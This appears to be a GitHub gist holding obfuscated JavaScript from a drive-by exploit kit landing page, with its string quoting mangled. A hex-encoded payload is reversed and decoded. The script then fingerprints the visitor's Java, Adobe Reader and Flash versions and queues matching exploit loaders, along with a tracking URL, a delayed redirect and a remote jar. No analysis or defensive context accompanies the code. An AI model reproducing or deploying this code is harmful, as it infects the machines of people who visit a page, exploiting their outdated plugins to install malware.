f585! % 5382! % fec6! % 1e97! % 0cb1! % 423a! % 7de7! % 8282! % 0d82! % b704! % b580! % 8050! % c002! % fec6! % b1a1! % e5a5! % c0c2! % fec6! % f4b5! % a5d4! % c2c0! % 42fe! % 47c0! % 825a! % 9282! % 4cc2! % a59a! % a23c! % 7d3c! % 7d7d! % 0c94! % 3a0c! % ce02! % e3ba! % c77d! % 4454! % d5a5! % 8204! % 6482! % 0474! % 7dbc! % bed2! % 83ba! % 3a67! % 3a4c! % 87d7! % 8e13! % 87ba! % 8282! % 7d82! % 8604! % 8724! % 8207! % 8282! % 0c82! % ac1d! % 7d7d! % 0b7d! % 170c! % 24d2! % 3afd! % 0402! % bd3a! % eb3c! % c5b2! % 42b1! % 8a55! % 0480! % 583a! % 3cb7! % 17be! % 3867! % b2de! % c23a! % 5f3a! % 0fb2! % 423a! % c7c0! % 4c7d! % 5ae6! % 4236! % e43a! % b25f! % 67c0! % 673a! % d5ec! % 3173! % 3c9d! % 2f86! % 52b2! % 9e3e! % c502! % 01ad! % 6983! % 3f72! % deb1! % 58b2! % 964d! % 1e16! % ddb1! % 80b2! % 3ae5! % dde7! % 05b2! % c5d1! % 413a! % 3ad5! % 97e7! % 3c46! % 971c! % ccd5! % c0da! % fac1! % d53d! % 11e2! % bee6! % 8681! % 093a! % 7d7d! % d383! % 9a6c! % b140! % b2c5! % 6741! % e43a! % b13f! % e502! % e73a! % 8543! % 423a! % 3a86! % 8681! % c43a! % b18e! % 1c77! % d5c1! % dacc! % ffff! % beff! % 508e! % afbe! % 042e! % 0382! % ef08! % 9e80! % 6618! % 139c! % 0185! % cfbe! % 4ecf! % 6638! % 1414! % 1414! % ".split(" | |
").reverse().join(" | |
");return a[" | |
replace "](/\%!/g," % "+" | |
u ")};function ff2(){var oSpan=document.createElement(" | |
span ");var url=" / forum / links / column.php ? khxmhrcs = "+x(" | |
9b359 ")+" & glppb = "+x(" | |
zstc ")+" & nfpt = 2v : 1k: 1m: 32: 33: 1k: 1k: 31: 1j: 1o & zktuh = ktiedxxo ";oSpan.innerHTML=" | |
";document.body.appendChild(oSpan);}document.write('');setTimeout(end_redirect,61000);var pdfver=[];function svwrbew6436b($){var ar = [];var javax = ($.getVersion(" | |
Ja "+" | |
va ")+". | |
").toString()[" | |
split "](". | |
");if ($.isMinVersion(" | |
Ja "+" | |
va ")>=0&&((javax[0]==1&&javax[1]==7&&javax[3]<9))){ar[" | |
push "](j2);} else if($.isMinVersion(" | |
Ja "+" | |
va ")>=0&&((javax[0]==1&&javax[1]==6&&javax[3]<33)||(javax[0]==1&&javax[1]<6))){ar[" | |
push "](j1);}pdfver=pdpd.getVersion(" | |
AdobeReader ");if(window.document)if(typeof pdfver==" | |
string "){pdfver=pdfver[" | |
split "](". | |
")}else{pdfver=[0,0,0,0]}if(pdfver[0]>0&&pdfver[0]<8){if(window.document)ar[" | |
push "](p1);}if (((pdfver[0]==9)&&(pdfver[1]>=3))||((pdfver[0]==10)&&(pdfver[1]<103))) {ar[" | |
push "](p3);} else {if(window.document&&(pdfver[0]==8||(pdfver[0]==9&&pdfver[1]<4))){ar[" | |
push "](p2);}}var ver = ($$.getVersion(" | |
Flash ")+". | |
").toString()[" | |
split "](". | |
");if (((ver[0]==10&&ver[1]==0&&ver[2]>40)||(window.document&&(ver[0]==10&&ver[1]>0)&&(ver[0]==10&&ver[1]<2)))||window.document&&((ver[0]==10&&ver[1]==2&&ver[2]<159)||(ver[0]==10&&ver[1]<2))){ar[" | |
push "](ff2);}if((ver[0]==10&&ver[1]==3&&ver[2]==181&&ver[3]<=23)||(ver[0]==10&&ver[1]==3&&ver[2]<181)){ar[" | |
push "](f1);}var arcalli=0;var arcall = function(){if(ar.length<=arcalli)return 123;ss=setTimeout;var res=ar[arcalli]();arcalli++;if(res&&window.document){ss(function(){arcall()},5509);}else{arcall();}};arcall();}$$[" | |
onDetec "+" | |
tionDone "](" | |
Ja "+" | |
va ", svwrbew6436b, ".. / data / getJavaInfo.jar "); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment